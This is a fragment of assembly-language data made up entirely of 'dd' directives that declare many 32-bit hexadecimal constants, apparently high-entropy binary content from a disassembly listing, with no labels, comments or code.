dd 2FC96775h, 42350900h, 6A14EF29h, 25D4E883h, 51BC61A1h
dd 2FD4F16Bh, 22E5B3EDh, 80F8CF72h, 12F45F4Ch, 7941C2ADh
dd 52706A10h, 0C8DA6130h, 0AE246D28h, 0DC4B466Fh, 7F8CEC75h
dd 4F4EB173h, 8A231589h, 0CD91D189h, 35D86A59h, 0E95D88E8h
dd 3A47E4Ah, 29A10FE6h, 0C66466DDh, 101FB98Eh, 0BD5ACDE0h
dd 1897A432h, 0D7FEF182h, 51F84ACEh, 21FF974Fh, 41D0F7D4h
dd 3D3A4EBh, 0B8242056h, 0AFA2554Bh, 0C415B6C7h, 36BCBA51h
dd 1EB4E676h, 3C0A3022h, 0BA3C3AB0h, 0A4094118h, 5A7B6869h
dd 347A20F1h, 0E273E690h, 0FA92C33Dh, 3EF9447Bh, 0FA9235EDh
dd 0D0524C22h, 54F3977Dh, 752FE9E2h, 58C55620h, 0DF09DBBBh
dd 0F0018652h, 0AE033099h, 54E8BA4Ah, 0DC7E102Dh, 48B00195h
dd 605E3F12h, 5097026Dh, 6D9C030Eh, 0F789C41Bh, 0BCF20DEDh
dd 6E8ED989h, 62F41112h, 66BB0753h, 0F40DBE08h, 4BD8A8EFh
dd 0A40139AEh, 2B122C0Dh, 68E031FDh, 0A0A82AFAh, 66956E4Ch
dd 8033A4E6h, 827729E1h, 89839209h, 0FBC4DD98h, 0E9E188A8h
dd 0BCEE3520h, 25641891h, 12D0ED31h, 0B0E272ABh, 0D9FE521Fh
dd 0BC75649Dh, 0AC98882Dh, 0C2C05B12h, 4041300Dh, 43316829h
dd 53B1B769h, 0B9059E73h, 941D1Ah, 5F7DC9F4h, 41771C5Eh
dd 7293F104h, 1BAF7CC8h, 5A0506CAh, 60162D13h, 574B398Bh
dd 8E71E35Fh, 2D27505Fh, 5AB958DCh, 0D67304D3h, 8E8301Ch
dd 8885D539h, 17A2E500h, 0D781F58Dh, 36FA02C3h, 0BF0F5B7Dh
dd 0F7C904E3h, 60308F66h, 0E0CE0E51h, 5E251C3Bh, 4D0E6EE8h
dd 21F96507h, 0F0EB1968h, 5C0E0A3Eh, 43026691h, 885BF1BBh
dd 6381B861h, 10E83019h, 0F3A63B00h, 8DB98452h, 6EE60E57h
dd 0BC00FA4Eh, 0BF9DFBC2h, 0EF2669E2h, 33069D22h, 447CD38Bh
dd 90007A0Ch, 1527E025h, 338E797h, 0FE33156h, 250B0383h
dd 54AEC980h, 3ED9002Ah, 8B66231Dh, 4FCF95Bh, 324B9C0Fh
dd 60D2CB3Dh, 0BAF68F80h, 6B5C4DDBh, 74476046h, 8543B3h
dd 56F58BD6h, 38F0CB2h, 0CDBA6609h, 14BB8097h, 0A61DC836h
dd 40F0008Eh, 3DA402FAh, 8401AA75h, 834D3551h, 8EDE0F17h
dd 0CEB7C552h, 0D4105EE0h, 0A6041247h, 0D001A9AEh, 79850FFCh
dd 0A2309583h, 0EC6545h, 27C9D8A2h, 7F4F41F4h, 9A16C800h
dd 725A59DDh, 28EA008Fh, 4A502C20h, 0F30E61B5h, 403CDBF7h
dd 0D62E1C2Dh, 97A91F48h, 7D803EFBh, 3A1F2FD5h, 0FF0735D3h
dd 0DB5BF359h, 45C4ACFh, 6F5B170h, 3A744ECAh, 55001817h
dd 7FD4ED5Fh, 7DD176h, 0B6F483C8h, 745E15E5h, 877CFC01h
dd 0E3505566h, 8F0D2990h, 583D51E6h, 0E2447844h, 19084F9h
dd 422429C8h, 0B12FE89Ch
dd 969D8D00h, 959E89A9h, 2578B00Eh, 23C0BF9Ah, 357B9768h
dd 7905006Ah, 20626D92h, 1AFA7536h, 6B7F3801h, 6A80371Bh
dd 10DD1080h, 0A922CAE0h, 3F051900h, 0B3FAEC46h, 0A570007Eh
dd 0DC839DBAh, 0B8F86152h, 370026E2h, 0E8423ED0h, 112970h
dd 48ABE7F2h, 0C8F91EBAh, 0A004970h, 0C0D28FAFh, 7D4783h
dd 0CC53ADE2h, 0DEC99242h, 95FBBC00h, 39B83162h, 0BBF003B2h
dd 0FE046521h, 2F0516C0h, 0E207C1Eh, 0F2BD23C7h, 0B0EBBC20h
dd 0FB9F0483h, 0C1BF2BE2h, 405E587Ah, 3140F3DCh, 19F57000h
dd 42FC773Ah, 1740145h, 0E5804149h, 0F9088030h, 6E614E29h
dd 55500048h, 264C4452h, 5300355Bh, 234C225h, 0E8D683D9h
dd 0A2DF00E4h, 8832CD99h, 2500BBF4h, 0A18A8CEBh, 0C0B909E9h
dd 18B31B0Ah, 21EA1FDFh, 6A27F800h, 7F461E7Eh, 90AE0223h
dd 0DB1DA848h, 2776BF60h, 77AB9400h, 0F1198322h, 0A39A0091h
dd 547A84F8h, 0C302FCACh, 22DAE0CFh, 0C840401Dh, 3F433A52h
dd 3C4E6D07h, 474B81C3h, 4D31FCD0h, 33C2D600h, 3E7DC44Fh
dd 525B3A6Ah, 5C296400h, 0C52A753Ch, 2D7E6D07h, 0EBF076C8h
dd 341223Dh, 5A2EF33Ah, 30AF8399h, 9C289891h, 0BE6CAE00h
dd 389A55D6h, 85A90179h, 806435C1h, 1D942417h, 0F5C9B700h
dd 974FBDAFh, 1A69006Dh, 879EF9D6h, 1300ACB8h, 78AD0722h
dd 0BA3A9Ch, 64AF3E93h, 0A4257585h, 0BFE2F200h, 77463613h
dd 7B510729h, 245D1019h, 0FE2880C8h, 0F5006DB1h, 0F870B689h
dd 746AB782h, 0DFD100F4h, 5DBF3E73h, 0A01981C8h, 8398E09Fh
dd 37110700h, 980A7203h, 0A0E37A45h, 2BBD84h, 57C4ED5h
dd 96B0440Bh, 0B5292000h, 9A586C5Eh, 0B36D00DBh, 14B9CE0Eh
dd 9E07347Ch, 538FED42h, 5ACF2h, 0D8CFD66Ah, 0CE26A872h
dd 0AD004477h, 0F080CD73h, 4B7F011Ch, 0E0BA70E6h, 0C809306Eh
dd 0A6006574h, 0B966B444h, 64EA45h, 0B6FB1776h, 0ADFE71F1h
dd 7DA10C01h, 0EE14E1Dh, 906CDC8h, 1A2E9313h, 56C40400h
dd 0CC004337h, 0D7503259h, 0C04B3F5Eh, 0CEDA5161h, 0E0765B6Fh
dd 78866A3Fh, 3D885203h, 0C88960B8h, 18A59B9h, 0FFAAA491h
dd 20231A4Fh, 4220EF04h, 140100FEh, 98F61C18h, 740AA79Fh
dd 8890F461h, 54007839h, 0F6DEB5FCh, 0F0FB5Ah, 6F94D7C8h
dd 8EAD4A1Eh, 0EEFE28C0h, 2F17CEh, 699E8D2Ch, 0D67E95F4h
dd 0C4B4D900h, 0FA5A34AEh, 759A0244h, 7383C665h, 0C4992848h
dd 59A5EC05h, 4C803AD0h, 27E1Eh, 0FA696242h, 10C58035h
dd 91D72200h, 0C664799Bh, 95ED0732h, 0B0C3D53Fh, 1CE167ADh
dd 0B26D300h, 0EFB88E40h, 0D2421CA8h, 0ED0180C9h, 0A6FFCFC0h
dd 0F0323D00h, 0DF460A41h, 0BA792C31h, 11D80022h, 0C0C71FF3h
dd 1CBB2C2Ch, 9A46CA80h, 264425E9h, 75F8C15h, 0B0D65A0Dh
dd 0A2A08A94h, 376B3200h, 0C15FA37Ah, 9D6A001Dh, 98145D99h
dd 0A0002842h, 90B9A2FFh, 6B8B2Bh, 5EDCF90Fh, 9D13B0C2h
dd 0BD029898h, 77CAA63h, 0E06212h, 0E1DBEA0h, 0E5AC00A4h
dd 6E9B2E8Bh, 0FF041676h, 4BEFF529h, 87B4ACC0h, 0DF603F3Fh
dd 5C2B6C80h, 2A887165h, 42AB9100h, 0C8F3D916h, 0CF9401FBh
dd 2C99CBFEh, 0EA08D8E6h, 8EA55500h, 8CFD8597h, 0FB830195h
dd 0E3564DEEh, 0A8A3E065h, 456E5F0Eh, 1B722455h, 3184C80h
dd 190F0373h, 140C7E9Eh, 21177BC0h, 1DA10D00h, 1FA2F2E7h
dd 12AE7115h, 2026B3Ah, 0AC0C7902h, 9CF5D040h, 0F87D4E00h
dd 6E3BABE5h, 4C9024h, 73AA5F23h, 7F6FD2A1h, 4707E200h
dd 0B32D273Eh, 538B16F8h, 7A604043h, 0ABA2F46Dh, 1A09C700h
dd 0AA067736h, 0B03Bh, 8F9B3EACh, 0E87CE9FCh, 3A1AE100h
dd 5CAEA406h, 0F9A901D4h, 921807C3h, 3C0874E6h, 7B0F2F00h
dd 880A1284h, 0F717008Fh, 0FD218C83h, 87019289h, 2A989327h
dd 85F9BE22h, 0F5C0D4h, 0FEC1188Fh, 49C21190h, 37627C04h
dd 0B890D207h, 36DBA7h, 0D34CC1A0h, 2DD10565h, 0E157B90Fh
dd 0A0974FAFh, 599BCD56h, 0E8327DFAh, 6BC009F0h, 0B48783FEh
dd 400760CAh, 3B007A08h, 0EDBE2CE7h, 5C385E75h, 8D30C55Ah
dd 4BFF1028h, 0C4B66305h, 2CC04759h, 1F386EC6h, 40615467h
dd 291FE44Ch, 0DB3A103Ah, 94340A89h, 0FB009C96h, 2043AF01h
dd 7F1E09B9h, 3080B5ECh, 5D8CBF44h, 1AE87100h, 6F766713h
dd 97450099h, 63DFE989h, 14002220h, 0F0BA2CFBh, 33A47A9h
dd 717B92A2h, 0CAB9C645h, 1CC8F619h, 4807D7A4h, 188BC1D2h
dd 144E37E0h, 39E284h, 0C7DC93Eh, 0CD5DD0B8h, 85EF6B02h
dd 0C01462CFh, 781269h, 0AB93B9B2h, 51692271h, 5BA73200h
dd 5644DFD9h, 68E4005Dh, 84A9C22Fh, 9D070F7Fh, 9CE9C942h
dd 5D95580h, 0A7D50h, 0B08A1045h, 5248CA51h, 26694007h
dd 0D6A065C7h, 0AE81BBFh, 0DCECF8EAh, 19C900BAh, 58D50C6Dh
dd 956F0300h, 9F107546h, 0EFD700C7h, 0A285F3F2h, 2200129Dh
dd 0FD361DDCh, 0B0D9F783h, 9557F58h, 8651D13Eh, 828DD4A1h
dd 908BECBDh, 9D83BF00h, 7A81AD92h, 288A1E95h, 22807E9Eh
dd 237367A0h, 7260689Fh, 0E898C510h, 882F48B2h, 9226ED00h
dd 0CB38E73Fh, 66003EEAh, 0C0F75D46h, 7670D132h, 0A8927Eh
dd 0C83D4814h, 0F8C11257h, 0C798E400h, 394180FAh, 9EF30B7Ch
dd 4F006B4Ah, 1406C63Dh, 0CDAE3809h, 159C00AAh, 407B04A2h
dd 0B4D2021h, 0A6060700h, 0A3801C14h, 3F4E91Fh, 0FAEEA5A8h
dd 96E3A7AAh, 0A734288h, 81023CEAh, 0C24D93F4h, 0C576C0FCh
dd 0B3ED1DFFh, 22E9283h, 0B2872B9Ch, 38485300h, 8CD100ECh
dd 0E6F31920h, 0B5B86B29h, 0DCC62600h, 0D6FF3E42h, 2537006Eh
dd 0AB4169DDh, 5D00B0BEh, 185B19A6h, 0CC4BC60h, 0A1BB94A0h
dd 0D79EC19h, 141A7200h, 1582FA16h, 95FE1F12h, 7C13FF88h
dd 9D040085h, 0EA47E098h, 0FA86D900h, 68069629h, 65300088h
dd 0A34574C7h, 0A001AE3h, 0B178995h, 0F52438h, 7C57CD5Fh
dd 7DD73725h, 0F7F4B3F6h, 9442FB24h, 55DFE400h, 3F11F1A2h
dd 8D0010A7h, 0DE3A44E1h, 8E0098F5h, 0E9B3E39Ch, 0EEA19A5h
dd 13792E1Dh, 0E0661780h, 0B8006358h, 0B76201C4h, 0FC854AC1h
dd 82320F8Dh, 7480BA29h, 7C48C314h, 0D100F3E0h, 57703E76h
dd 1F7FF19Bh, 0BAD23F0Ch, 8DF52D00h, 273A6FD9h, 3E006A48h
dd 594B8008h, 0BEAF9901h, 81500740h, 404A3D17h, 5BCA4718h
dd 0DB0F3419h, 4B201AA8h, 0E003780Ah, 0DFAB00C1h, 0F4EE5F46h
dd 0D8DCDE26h, 2376EC00h, 78E59B3h, 820EB685h, 0BFC760CCh
dd 0A0008D48h, 9A90E2ACh, 1D315102h, 40FB408Bh, 0C5951938h
dd 4805320Fh, 45BCCCD9h, 7A034C0h, 0A1FD0F2Fh, 4093CDE2h
dd 6D1A0A5Ch, 0C6008193h, 35A5D6AFh, 3B99AB36h, 7CFCF2A1h
dd 6E203A5Fh, 54B63300h, 0F96ABBE9h, 98A1701Eh, 19789870h
dd 52511DCAh, 67FB001Eh, 9A035F6Dh, 4F7EAF07h, 0BCE0408Ah
dd 1DA6074h, 63E54AAAh, 20DE31B5h, 3C98E210h, 39705E00h
dd 12640B54h, 1DC4005Ch, 0E317E8F1h, 50005A6Dh, 41EF81C1h
dd 0C3920976h, 0B4F13D48h, 8008D7A1h, 0D5FACB08h, 3DCF155Fh
dd 2B80AA46h, 35C391B3h, 7C1634BCh, 8C407FADh, 0CBDAF3C8h
dd 15EC0058h, 877BF602h, 2400366Dh, 38237CD4h, 0FD72EAh
dd 10A3734Bh, 0E40ABE90h, 42603513h, 1C006312h, 0F5F4E645h
dd 6ABC0087h, 8FA382F2h, 9CB27AEFh, 7E4D300h, 98F8C2B7h
dd 0C47958A7h, 374122Ch
dd 999B0BADh, 0F89507D1h, 8E00F18Bh, 3CEB8DA5h, 2E15BB7h
dd 5A52CE39h, 79C0C72Eh, 7C19962Dh, 986181E0h, 127D3C74h
dd 0EBF609Ch, 558470BDh, 0E150B1C5h, 0AA108838h, 489E1Bh
dd 34BC82Ah, 11001F28h, 7677FD1Ah, 14FF68D9h, 0E2FC8A8Ch
dd 0BD33007Ah, 9E230829h, 0C9EDF78h, 3BA15403h, 404AC7DBh
dd 18F3E403h, 81210626h, 31D3C43Bh, 95C5DC00h, 4AC70334h
dd 0FB060040h, 9952605Ah, 541D293Bh, 30A89DDAh, 1A50BAE2h
dd 7681686Ch, 0EC885C8h, 1623A583h, 7ADD5361h, 0A17BEC5Ah
dd 0A6C55B00h, 0F7A0219Eh, 0E67C0114h, 0C4DAAE04h, 9533C0B3h
dd 7240CC00h, 8C66ADD8h, 80F034h, 24C66750h, 0FEB3D00Eh
dd 0E73D3F00h, 0ACFC145Ch, 0A1CF0079h, 7C738CF9h, 0A3C2506h
dd 0B47280A4h, 483CCC18h, 11A20005h, 0ADC2DD77h, 0A800B619h
dd 0B58B545Fh, 19E406AAh, 0BA4FDCBAh, 0D449F0CBh, 1A908900h
dd 0F496E104h, 7D98001Eh, 4782E81Ch, 0D42AF295h, 0FF1E8010h
dd 251728D8h, 141C12FCh, 7D946AE0h, 5303E974h, 1E40DCC2h
dd 0BCA4DF14h, 0DD18F174h, 5B11B072h, 55500A87h, 31C7560h
dd 0A1741E2Fh, 44FD1107h, 1706D650h, 4BF90681h, 112FD51Dh
dd 0B0469F02h, 549A76h, 401BF21Fh, 0F8845AF2h, 4B9902F8h
dd 2C1D7ECFh, 0BEE0848h, 5B3AF07Dh, 5F9D0166h, 98FE7FDEh
dd 535281DBh, 73D21089h, 4F330410h, 0BC04A12h, 833FD70Fh
dd 0F0D31EF2h, 0C241BA2h, 6C9A1066h, 0FAFE9238h, 5E1C841Fh
dd 695AD0Fh, 10805Ch, 27E36772h, 12F029B5h, 1F411A03h
dd 0E7980728h, 0ED2F1441h, 8D7ED2F3h, 3BF0F214h, 525B18DAh
dd 0D60EB8BDh, 3F8090B4h, 96269A25h, 81BF0D08h, 0E708209Eh
dd 8A2158h, 93CA2A9Ah, 0A154EC1h, 50E428D1h, 9FFA1EE4h
dd 1902897h, 0A074F05Ch, 806CB0C7h, 2651DBB0h, 0EEF30A2Ch
dd 0F8D649C4h, 2185438h, 9BE7F165h, 77161820h, 5A2317AAh
dd 204E1808h, 0CE0A101Fh, 20C3F02Dh, 8C133670h, 89F0DC11h
dd 0DDD1140Ah, 0C529FC4h, 9F187039h, 0F25D9E0Ah, 2A05F45Eh
dd 0FC405977h, 0E7BB023Ch, 0D00751D2h, 6FD4A6FEh, 0A190021h
dd 21E822BBh, 0E2F4A5E4h, 9814D52Ah, 59C91A00h, 0AF91BF0Ch
dd 6AC5002Ah, 0BCD7DD84h, 5D0A2367h, 907498DFh, 9A771A03h
dd 2A593D62h, 0CC6AAAh, 85AEA4FAh, 83E8DC53h, 0D9950D1Ch
dd 2F03C0AEh, 0F7BBD849h, 7BD65660h, 0F11F5AF7h, 4106DB4Eh
dd 0CF7485F2h, 0B81E0EF9h, 5160699Eh, 0D1AE05BBh, 0D60D6D00h
dd 3F914F08h, 0F6F40121h, 2590F2FDh, 401AC4FCh, 3DF72A09h
dd 0F0C0016Eh, 0FE16DA73h, 54216007h, 2D5F3B29h, 38010841h
dd 0F0EC2B1Ah, 11D52AFBh, 7428008Ch, 0D43CFA15h, 2100BA97h
dd 0B8B693E6h, 793926FEh, 76FC0ACBh, 82885E92h, 19B058D1h
dd 0C9C63440h, 24E0E720h, 8CCB7CAh, 5506A4F9h, 0CF97F5Ch
dd 0BB9791F4h, 8B0C8518h, 5153772Dh, 0CA1A1268h, 1290C0A4h
dd 72607393h, 2B308139h, 58C60071h, 0D95F94D3h, 72132157h
dd 9805339Ch, 1481D2E4h, 51807076h, 0E2CF329Eh, 847322A6h
dd 7F008071h, 4ED12148h, 13811F85h, 45F29CBCh, 8873296Ch
dd 0E8049DA8h, 0E2F50298h, 69FC08C2h, 2181680Ch, 7998F03Ah
dd 8BB33061h, 0AB16D31Eh, 0E71E01C1h, 20206D80h, 7DFC05FDh
dd 88D5C472h, 9C49F34h, 0B0C873EFh, 11680256h, 9826A7EBh
dd 29EFF048h, 14250D00h, 0C2DF214Bh, 23E4011Ch, 76DBD0E7h
dd 1F49939Ch, 7AC65420h, 4AAF00D1h, 887F0403h, 0FF1855F3h
dd 0BE69DE73h, 0B6F402AEh, 7408474Ah, 7300E064h, 0B8114CFFh
dd 0B0302E49h, 527730D8h, 0F2530161h, 0D3630B00h, 0CAFBBB0Fh
dd 0F1FE1425h, 417BE8DAh, 2BA400B7h, 828C718h, 4128076h
dd 0E03A2054h, 661C6423h, 0EDBA7B80h, 6985DAh, 56187E2Bh
dd 2D462835h, 0A3C5FD05h, 48C39EA0h, 0F6FC90ABh, 0B41952D4h
dd 81FB8F00h, 3948D7BAh, 18E4BF58h, 712116D5h, 0C4F01F7Ah
dd 0FA618069h, 0EA8CC9E8h, 0BAD11314h, 0F86A9C8Ch, 2390D901h
dd 0F4AA8E8Dh, 303A33C4h, 0B929D874h, 0CA00E4C8h, 7769D2BFh
dd 10D667Bh, 0E9239192h, 415E092Bh, 0E38CD6E8h, 1224CCD4h
dd 0D9EC7571h, 0A89E2500h, 4163EC96h, 0A33D0076h, 1D0A8587h
dd 0B01224FCh, 0A4205D55h, 426BCA7Ah, 0A26053C4h, 1E573064h
dd 0D5BC5500h, 6054DEC8h, 0F4215819h, 40282D8Ah, 0F50698E4h
dd 91400221h, 0EC3E076Fh, 0B00D498h, 4CBC58D3h, 0F2040C21h
dd 0BD5FC1h, 700ED624h, 500C762Ch, 12F2DC96h, 20DF8FA9h
dd 0AB985F20h, 3C44734Ah, 2D0B1EFDh, 5EDF1404h, 0B3B803C2h
dd 746C6952h, 0CEF08C49h, 17530994h, 0B484D12Ch, 0E490896Eh
dd 0C4AC2E09h, 4E770104h, 0BC800322h, 97AF195h, 7E58D796h
dd 0AC056009h, 0C8C88BF9h, 4D63C023h, 5A00010Dh, 30B861E4h
dd 165258F9h, 32AE10h, 0AB59F770h, 0D026F822h, 6580E895h
dd 0FD30BAB6h, 6A643A04h, 1F58007Ch, 2FA1F8C3h, 0A898743Bh
dd 0B0405242h, 2C00E56Bh, 0B102A925h, 22F50AFDh, 0F50E240h
dd 38D4E2D5h, 0C8B8E01Ch, 0DA28B5Bh, 9A266C90h, 10962711h
dd 0DD8B2B88h, 7782822Dh, 0A1D44969h, 43E405D9h, 0DC4507A8h
dd 0D0E6710Ah, 8774B8DEh, 3E0AB1B0h, 98068C98h, 6BD4CF1Eh
dd 80B01ACh, 5BB06313h, 38470425h, 784FF0FAh, 3F2E0B09h
dd 98C854F1h, 7B583193h, 0B78640C2h, 941C3AC0h, 88458B18h
dd 0F0102556h, 0FAFF81F4h, 0F8452601h, 0B5421827h, 75F04197h
dd 8E1D4F10h, 8200AC0h, 28E92D67h, 2185425h, 28D0E6B3h
dd 6C401A34h, 992053h, 6138ED8Fh, 66941CB3h, 1CFBBC8h
dd 0C42B0C37h, 80C972E4h, 0B7AD1B29h, 1C0D01h, 6458E8F9h
dd 0C63E493Dh, 0F7FE7D3Ah, 5DFBCCA0h, 8ADAFD0Fh, 0B4C79D4Ch
dd 42C989F8h, 0F2BC4164h, 82CAB860h, 0CC209C1Ah, 9676FB9Ch
dd 0C1115F65h, 0DA04E383h, 0B1C4473h, 78CB2647h, 24FD3400h
dd 2CB86186h, 0C1FC2D4Ch, 76626E3Eh, 3CDE0D20h, 0D41854AEh
dd 47026930h, 60D7CF00h, 46DA4D1Fh, 3E08003Ah, 6BFDFB7Eh
dd 54AEA2Eh, 6C06A840h, 2E946803h, 0A9645C98h, 2EC300CCh
dd 31D1261h, 6113D530h, 10C5F7Ch, 0A84C6442h, 0C0AE5BD4h
dd 3A241547h, 0FC1188BAh, 61E8FE28h, 5F0278EEh, 8A80ED96h
dd 0B5044DE9h, 0D287FA1Fh, 0C240A1C7h, 48844138h, 0ED2EF0ACh
dd 6027C09Ch, 51465426h, 1D3DCD22h, 9C9A8430h, 98C3DF27h
dd 10693C71h, 0F0B42484h, 7638B0C9h, 0D0DC302Ch, 27685884h
dd 746688D0h, 0E751C0D6h, 0E40A4A51h, 61686200h, 1726FDD8h
dd 82150033h, 53F31222h, 0B4045C24h, 3C2E353Eh, 0CA0850A6h
dd 0BD816076h, 0FC5F5011h, 746BB041h, 0B023072h, 37AD4A1Bh
dd 492B060h, 0FBEF5D06h, 0C16C74h, 7C0D809Ah, 6BAAEC57h
dd 1CA09500h, 3AE8554Eh, 0C8BE012Eh, 28EB3619h, 75A422FBh
dd 4C022B7Ch, 26200C49h, 50889174h, 0A14AE8CBh, 0E28F0042h
dd 0BFF1B035h, 5031BF0h, 5CF821EBh, 8859480h, 0EE2DB420h
dd 2C170E6h, 663E22C3h, 0A8AAA210h, 616D0488h, 5A3A8145h
dd 9AA84146h, 66DFE1CAh, 12B2384h, 0F50498E6h, 886F18D2h
dd 9800EE3Ch, 0E8F616C3h, 57406FDh, 775E0B83h, 1AAC406Ch
dd 0E2C96DE9h, 0F2D83400h, 0EAB992E3h, 814705EDh, 40D773BEh
dd 950A2CB4h, 80037C48h, 6AC5F078h, 0D601C070h, 0CB7D801Ch
dd 903C45EAh, 270A00FBh
dd 2F4AFAE9h, 0D8834CE5h, 0C5BF809h, 9A23CCB0h, 184E98B0h
dd 0DE002Ch, 0AF2D9A2Ah, 0B2D2E841h, 0E11278B8h, 38025CF3h
dd 2FDCC457h, 0FF2EAF20h, 8424773Ah, 0A03E5879h, 0D1870434h
dd 0A4A1769Ch, 483A33F0h, 0C4294114h, 10C2B23h, 0BB0F74BBh
dd 6711E4h, 0CABB091Ah, 305456h, 2177FDC1h, 852438Ch, 7864E630h
dd 2098C7A0h, 50021C63h, 9028D916h, 0B7D032Eh, 982B20F7h
dd 765A239Ch, 99F40407h, 0FC18B635h, 0B8B59EF0h, 6FC600F0h
dd 0C1FB0321h, 20C3CC4Fh, 926EEF5Ch, 23209E28h, 6002B8B5h
dd 5A748198h, 3AE90040h, 190130D0h, 6D262BA2h, 0BD069577h
dd 0F1B275h, 0B5FF629h, 0FA4BFC0Dh, 550E2701h, 5AF417F5h
dd 60EAAAE3h, 0E9F31997h, 7814F1C0h, 0EB240038h, 200FF44Bh
dd 70E9F646h, 0FE07F7D0h, 2ED452FAh, 0F2EC7ED0h, 0F6391CF5h
dd 105800F8h, 11610DFFh, 56F4091Fh, 0A3385B94h, 4F203CDBh
dd 4618A574h, 513E08D6h, 0B0DCFAFEh, 0B54E340h, 77DF215h
dd 5AF609EFh, 0CC868BD6h, 361E2811h, 40002FEAh, 34EFF307h
dd 685B50D5h, 0EB313C16h, 384E6975h, 4E808D3h, 20ACD48Bh
dd 7ADF9664h, 5E161C15h, 0B4640F58h, 0D6EF7FE0h, 0B7503460h
dd 0F75A2DE0h, 859F1003h, 7EB6F350h, 28267818h, 5A08DA30h
dd 420421Eh, 8097433h, 84022C38h, 427598EFh, 720C314Ch
dd 8C0C88A3h, 9A3079F4h, 0A4ED3090h, 0A6185859h, 18922D79h
dd 401614DFh, 7094560Bh, 0EF83FD03h, 0F1590A76h, 85789281h
dd 81B540Bh, 0E477BA58h, 0CFF23BD2h, 0EFFF91Dh, 2FC1FAB0h
dd 5C09ACB2h, 201801D6h, 10E798CCh, 5A28C382h, 0DA8BD2BAh
dd 40C79FA1h, 9B76DB0Ch, 1442515Ah, 1B3048h, 542C5FFAh
dd 0F4607A26h, 14887C3Eh, 52D25BE0h, 4E0BAB04h, 991001DEh
dd 0A0F3F50Fh, 0DEEA085Ah, 66551D19h, 0A1F242D0h, 9AD95880h
dd 59539625h, 2BE2A264h, 554A007h, 0BC8C5080h, 0F9058621h
dd 0B8211399h, 80837CF3h, 75A9C65Bh, 0DFF2190Ah, 2C65F8F8h
dd 5BF9E004h, 10695CC2h, 0A6203084h, 9740C6B6h, 2839C1D3h
dd 228C53B8h, 40E48DD7h, 0D2FEBAFCh, 997C604Ch, 8809A598h
dd 97B3D690h, 0C6145CF3h, 5173F066h, 585FF914h, 0F1EFC288h
dd 82B4E2DFh, 22B70964h, 9493CF84h, 54514016h, 0C42F02Dh
dd 73852558h, 99467180h, 0D7F3140Ch, 9AFB0B8Ch, 4204155Dh
dd 8899D71Bh, 0F1E08A2Dh, 9A10F47Dh, 0A5C9C782h, 0F9B8402Ch
dd 8A5A878h, 80A11328h, 8C997746h, 57F52F0Ch, 0CFFB48A4h
dd 1591E20Ch, 5221A828h, 2B799162h, 0D29A80C6h, 540C3099h
dd 5C8CA013h, 0FE9C9160h, 9CA87147h, 0DBB1C986h, 0D942A03Eh
dd 829C18C4h, 742E1414h, 7421D6D8h, 61AB3874h, 1608E250h
dd 5F72283Eh, 0BE7644E4h, 81DFA8A6h, 79D1730Ch, 0ABD8A69Eh
dd 589BE430h, 934CD02Ah, 2846542Ch, 7EF623BEh, 0F1741895h
dd 2442F8F3h, 0F78B77Bh, 1091337Ah, 0DC509950h, 30718A74h
dd 7A560980h, 0FEDB55Ch, 9480CF83h, 38A97198h, 729C0482h
dd 0B0813C51h, 1EC3C46Bh, 85FC5239h, 0E36C4B82h, 0D8AA3CE5h
dd 0A28F3C38h, 0C29C1923h, 440B3A36h, 8F4F0168h, 0D13979D2h
dd 7645E8F6h, 0FC19B100h, 85F56FAFh, 14771665h, 0CB890DDh
dd 241DFE5Eh, 0F0FDFD05h, 2B4F7E7Ch, 32AFAC20h, 0F5EB0089h
dd 0A90937Ch, 642E4A71h, 5B003AF1h, 9430E91Eh, 3DC43C5Fh
dd 5622F282h, 8C5CFFD6h, 14207693h, 0BB232Bh, 0FCE153A3h
dd 3B90F08Fh, 87DC071Fh, 50899E40h, 38FFDDh, 0DB8506D6h
dd 10F40E6Ah, 6C0FBD06h, 22C0C7D3h, 6318DCDFh, 0F2692AD4h
dd 0CC4C003Ah, 0E4D71304h, 891E484Dh, 9D809F90h, 64342CAFh
dd 173F0BBh, 28D5C5DAh, 0DFE71029h, 85A899E0h, 9A76660Eh
dd 30B196E2h, 8200307Dh, 8CA92D1Ah, 9324DA31h, 61E9005h
dd 4BF7DE80h, 0A470BCh, 0BD332F4h, 0BDAC8BDCh, 4AE3A1Ch
dd 672ECC40h, 6062C278h, 0F0DD3890h, 0DF000F6Eh, 1F883171h
dd 3A495FC7h, 4680A295h, 8DEBFDFAh, 780E895Ch, 800DAFE8h
dd 0DCD666C1h, 16AD0009h, 1EEB889Ch, 5140DB80h, 0E62E18A5h
dd 55D41803h, 3093650Ch, 1F23A87Eh, 40A860F9h, 0D824127Fh
dd 47588C9h, 27E9E30Ch, 11A01Fh, 0AD0D9A57h, 78646FAh
dd 83302375h, 15064039h, 51D9600Bh, 59BFD2D7h, 54A1AA00h
dd 6B719B83h, 6D1700DEh, 7BA001D9h, 0AA072114h, 182A29C3h
dd 0A9DD24B0h, 0C56200FDh, 569991A8h, 0FB004AF2h, 0F1871ACDh
dd 7C8F1EBDh, 59E30FCBh, 8400C006h, 0FC26BBF6h, 22BCD00Eh
dd 2FBDA08Ah, 0AE570F75h, 30867814h, 0CB3025C3h, 8638B19h
dd 0F68838h, 0C7F17658h, 0BB10872Ah, 994A1C1Dh, 0B901F83h
dd 0F580F7CBh, 0C0492EC1h, 10842F18h, 8E0E28D0h, 9B20CB0Ch
dd 0F8283A80h, 0D732D07h, 55940CCh, 78C32ECEh, 0C8322C2h
dd 0CC067831h, 2429CD59h, 0FB940C8Ch, 0BEFC8084h, 0FF4871Ch
dd 58B2FC6h, 0E3781E07h, 29FE23C7h, 161CFB01h, 5C92C8FDh
dd 60152AF8h, 1F991861h, 0AA0C357Dh, 31F8FC5Fh, 261600E5h
dd 9F972309h, 19C0289Ah, 81C60DACh, 9B140E6Ch, 578027DEh
dd 5AB56889h, 0F447CBA0h, 9722FC01h, 0C2877CE5h, 6AFA5887h
dd 81AF6056h, 1A2632D9h, 0C9302AB0h, 0FBBCC3Bh, 82A50304h
dd 1A86F30Fh, 6F20A998h, 729F1DFFh, 7E67023Bh, 0C0E9C2Eh
dd 0A119E1C0h, 0D6105718h, 68DF1C32h, 98010CE1h, 4134D831h
dd 2C0719A0h, 8888257Dh, 3C3F5B7Fh, 0B9405458h, 2887F681h
dd 4CE078F3h, 59C796B8h, 0BC0A1972h, 0C0083E0Ah, 0A0EFA986h
dd 4B013030h, 7D0C2E59h, 9AC8CC50h, 409B4530h, 735E26h
dd 0DB972171h, 604A12B4h, 0B0FBFC06h, 0F5106DAh, 736EA5BBh
